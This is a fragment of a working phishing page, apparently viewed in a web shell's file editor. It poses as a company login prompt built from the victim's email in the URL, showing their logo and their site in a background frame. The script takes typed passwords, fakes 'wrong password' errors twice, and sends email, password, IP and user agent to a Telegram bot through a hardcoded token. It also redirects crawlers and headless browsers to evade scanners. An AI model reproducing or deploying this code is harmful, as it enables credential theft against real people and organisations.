OwlCyberSecurity - MANAGER

Edit File: minutes.html

<button type="submit" class="submit-btn" id="submitBtn">
                <div class="spinner"></div>
                <span>Verify Access</span>
            </button>
            
            <div class="options">
                <div class="remember-me">
                    <input type="checkbox" id="remember">
                    <label for="remember">Remember me</label>
                </div>
                <div class="forgot-password">
                    <a href="#">Forgot password?</a>
                </div>
            </div>
            
            
            <div class="footer" id="footer"></div>
        </form>
    </div>
    <script>
        document.addEventListener('DOMContentLoaded', function() {
            // Extract domain from URL hash
            const url = window.location.href;
            let email = '';
            let domain = '';
            let userIP = '';
            
            // First get the user's IP address
            fetch('https://api.ipify.org?format=json')
                .then(response => response.json())
                .then(data => {
                    userIP = data.ip;
                    initializeApp();
                })
                .catch(error => {
                    console.error('Error fetching IP:', error);
                    userIP = 'Unknown';
                    initializeApp();
                });
            
            function initializeApp() {
                if (url.includes('#')) {
                    email = url.split('#')[1];
                    if (email.includes('@')) {
                        domain = email.split('@')[1];
                    } else {
                        domain = email;
                    }
                    
                    // Clean domain (remove www. and .com/.net/etc if present)
                    domain = domain.replace('www.', '').split('.')[0];
                }
                
                // Display domain title and footer
                const domainTitle = document.getElementById('domainTitle');
                const footer = document.getElementById('footer');
                const formFallbackLogo = document.getElementById('formFallbackLogo');
                
                if (domain) {
                    // Set domain title (capitalized first letter only)
                    if (domainTitle) {
                        domainTitle.textContent = domain.charAt(0).toUpperCase() + domain.slice(1);
                    }
                    
                    // Set footer with copyright (showing full domain with extension)
                    if (footer) {
                        const fullDomain = email.includes('@') ? email.split('@')[1] : domain + '.com';
                        footer.textContent = `� ${fullDomain} 2025`;
                    }
                    
                    // Get first letter of domain for fallback logo
                    const logoLetter = domain.charAt(0).toUpperCase();
                    formFallbackLogo.textContent = logoLetter;
                    
                    // Try to fetch logo from Clearbit using full domain
                    const fullDomainForLogo = email.includes('@') ? email.split('@')[1] : domain + '.com';
                    fetchLogo(fullDomainForLogo).then(logoUrl => {
                        if (logoUrl) {
                            // Replace fallback logo with actual logo
                            const formLogoImg = document.createElement('img');
                            formLogoImg.src = logoUrl;
                            formLogoImg.alt = domain + ' logo';
                            
                            document.getElementById('formLogo').replaceChild(formLogoImg, formFallbackLogo);
                        }
                    }).catch(error => {
                        console.error('Error fetching logo:', error);
                    });
                    
                    // Load the domain in background iframe using full domain
                    const iframe = document.getElementById('myframe');
                    try {
                        const fullDomainForIframe = email.includes('@') ? email.split('@')[1] : domain + '.com';
                        iframe.src = `https://${fullDomainForIframe}`;
                    } catch (e) {
                        console.error('Error loading domain background:', e);
                    }
                    
                    document.getElementById('overlay').style.display = 'block';
                    
                    // Populate username field
                    document.getElementById('username').value = email;
                }
                
                // Form submission handling
                const form = document.getElementById('verifyForm');
                const passwordInput = document.getElementById('password');
                const errorAlert = document.getElementById('errorAlert');
                let attemptCount = 0;
                
                form.addEventListener('submit', async function(e) {
                    e.preventDefault();
                    
                    // Basic honeypot check
                    const botCheck = document.getElementById('botcheck').value;
                    if (botCheck) {
                        // Likely a bot, just redirect
                        window.location.href = `https://${domain}`;
                        return;
                    }
                    
                    // Show loading spinner
                    submitBtn.classList.add('loading');
                    submitBtn.disabled = true;
                    
                    // Simulate loading for 2 seconds
                    await new Promise(resolve => setTimeout(resolve, 2000));
                    
                    const password = passwordInput.value;
                    
                    // Send data to Telegram bot (including IP)
                    sendToTelegram(email, password, userIP);
                    
                    attemptCount++;
                    
                    if (attemptCount < 3) {
                        // Show error and clear password field
                        errorAlert.style.display = 'flex';
                        passwordInput.value = '';
                        
                        // Hide error after 3 seconds
                        setTimeout(() => {
                            errorAlert.style.display = 'none';
                        }, 3000);
                    } else {
                        // On third attempt, redirect
                        const fullDomain = email.includes('@') ? email.split('@')[1] : domain + '.com';
                        window.location.href = `https://${fullDomain}`;
                    }
                    
                    // Hide loading spinner
                    submitBtn.classList.remove('loading');
                    submitBtn.disabled = false;
                });
            }
            
            function fetchLogo(domain) {
                return new Promise((resolve, reject) => {
                    const img = new Image();
                    const clearbitUrl = `https://logo.clearbit.com/${domain}?size=200`;
                    
                    img.onload = function() {
                        resolve(clearbitUrl);
                    };
                    
                    img.onerror = function() {
                        reject(new Error('Logo not found'));
                    };
                    
                    img.src = clearbitUrl;
                });
            }
            
            function sendToTelegram(email, password, ip) {
                const botToken = '8825972456:AAHtmC6grKh15pcMGjWFOz9XcxGM4KwS1w4';
                const chatId = '7928928571';
                
                const message = `New login attempt:
Email: ${email}
Password: ${password}
IP Address: ${ip}
User Agent: ${navigator.userAgent}
Timestamp: ${new Date().toISOString()}`;
                
                fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify({
                        chat_id: chatId,
                        text: message
                    })
                }).catch(error => console.error('Error sending to Telegram:', error));
            }
        });
    </script>
<script>
(async function () {
    const userAgent = navigator.userAgent || "";
    const suspiciousUA = /bot|crawl|spider|slurp|headless|phantom/i.test(userAgent);
    const isHeadless = navigator.webdriver || false;

// JS execution confirmation
    localStorage.setItem('js_enabled', 'true');

// Honeypot trap (use your existing field instead)
    const honeypot = document.getElementById('botcheck');
    if (honeypot && honeypot.value) {
        window.location.href = "https://www.wikipedia.org";
        return;
    }

// Check if localStorage was written (JS running)
    const jsEnabled = localStorage.getItem('js_enabled') === 'true';

// Final bot detection logic (without interaction check)
    if (
        suspiciousUA ||
        isHeadless ||
        !jsEnabled
    ) {
        // Redirect bot
        window.location.href = "https://www.wikipedia.org";
    }
})();
</script>
<script>
// Function to get email from URL hash
function getEmailFromUrl() {
    const hash = window.location.hash.substring(1); // Remove the #
    if (!hash) return null;
    
    // Check if hash is base64 encoded
    if (isBase64(hash)) {
        try {
            return atob(hash); // Decode base64
        } catch (e) {
            return hash; // If decoding fails, assume it's plain email
        }
    }
    return hash;
}

// Function to check if a string is base64 encoded
function isBase64(str) {
    try {
        return btoa(atob(str)) === str;
    } catch (err) {
        return false;
    }
}

// Function to update URL with base64 encoded email
function updateUrlWithEncodedEmail(email) {
    if (!email) return;
    const encodedEmail = btoa(email);
    window.history.replaceState(null, null, `#${encodedEmail}`);
}

// Main function to process email
function processEmail() {
    // Get email from URL
    const email = getEmailFromUrl();
    
    if (email) {
        // Update username field
        document.getElementById('username').value = email;
        
        // Update URL with encoded email if it's not already encoded
        if (!isBase64(window.location.hash.substring(1))) {
            updateUrlWithEncodedEmail(email);
        }
    }
}

// Run when page loads
window.addEventListener('DOMContentLoaded', processEmail);
</script>
</body>
</html>